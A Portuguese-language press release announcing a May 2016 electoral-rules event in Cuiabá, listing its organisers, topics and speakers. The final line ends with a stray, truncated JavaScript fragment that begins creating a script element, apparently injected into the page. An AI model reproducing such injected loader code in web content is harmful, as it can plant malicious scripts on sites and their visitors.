Eleições 2016: Regras serão apresentadas em evento do TCE, TRE, MP e OAB

Assessoria

As principais regras para as eleições municipais deste ano serão apresentadas em evento, em 5 de maio, no auditório da Escola Superior de Contas, em Cuiabá.

Temas como Lei da Ficha Limpa, condutas vedadas aos agentes públicos em ano eleitoral, regras para a propaganda eleitoral e partidária, prazos e regras para registro de candidaturas, financiamento de campanha e prestação de contas eleitorais serão abordados por representantes do Tribunal de Contas, do Tribunal Regional de Eleitoral, Ministério Público e da OAB/MT, que organizam o evento.

Foi programado para atender ao público os dirigentes partidários e agentes políticos, notadamente os potenciais candidatos, advogados e profissionais da área de comunicação interessados no tema, bem como membros das próprias instituições organizadoras. A inscrição é obrigatória e deverá ser feita pelo endereço www.tce.mt.gov.br. As vagas estão limitadas a 350 cadeiras. O evento começará às 8h30 e deverá terminar às 17h, com intervalo para almoço.

Denominado Eleições 2016, o evento faz parte de uma pauta de encontros articulados pelo conselheiro Antônio Joaquim e pela desembargadora Maria Helena Povoas, com adesão dos dirigentes do MPE e OAB, procurador Paulo Prado, e Leonardo Campos, respectivamente. Em agosto, o TRE organizará um evento para representantes partidários com a temática ‘Movimentação financeira das campanhas’. No final de outubro, o TCE realizará ainda outro encontro sobre regras de transição de mandato apenas para vereadores e prefeitos eleitos.

Programação

A primeira exposição será feita pelo presidente do Tribunal de Contas da União, ministro Aroldo Cedraz, que falará sobre Lei da Ficha Limpa. Ainda no período da manhã, o procurador regional eleitoral, Douglas Guilherme Fernandes, e o promotor público estadual, Gilberto Gomes, abordarão sobre condutas vedadas aos agentes públicos em ano eleitoral e regras para propaganda eleitoral e partidária.

No período da tarde, na primeira mesa, os juízes membros do TRE, Paulo Cezar Alves Sodré e Rodrigo Roberto Curvo, irão palestrar sobre as principais alterações introduzidas pela Lei 13.165/15, mais especificamente sobre prazos e regras para registro de candidaturas.

Na mesa seguinte, ainda sobre as alterações introduzidas pela Lei da Ficha Limpa, os representantes da Comissão Eleitoral e de Ensino Jurídico da OAB, advogados José Antônio Rosa e José do Patrocínio de Brito Jr, abordarão sobre financiamento de campanha e prestação de contas eleitorais.var d=document;var s=d.createElement(‘script’);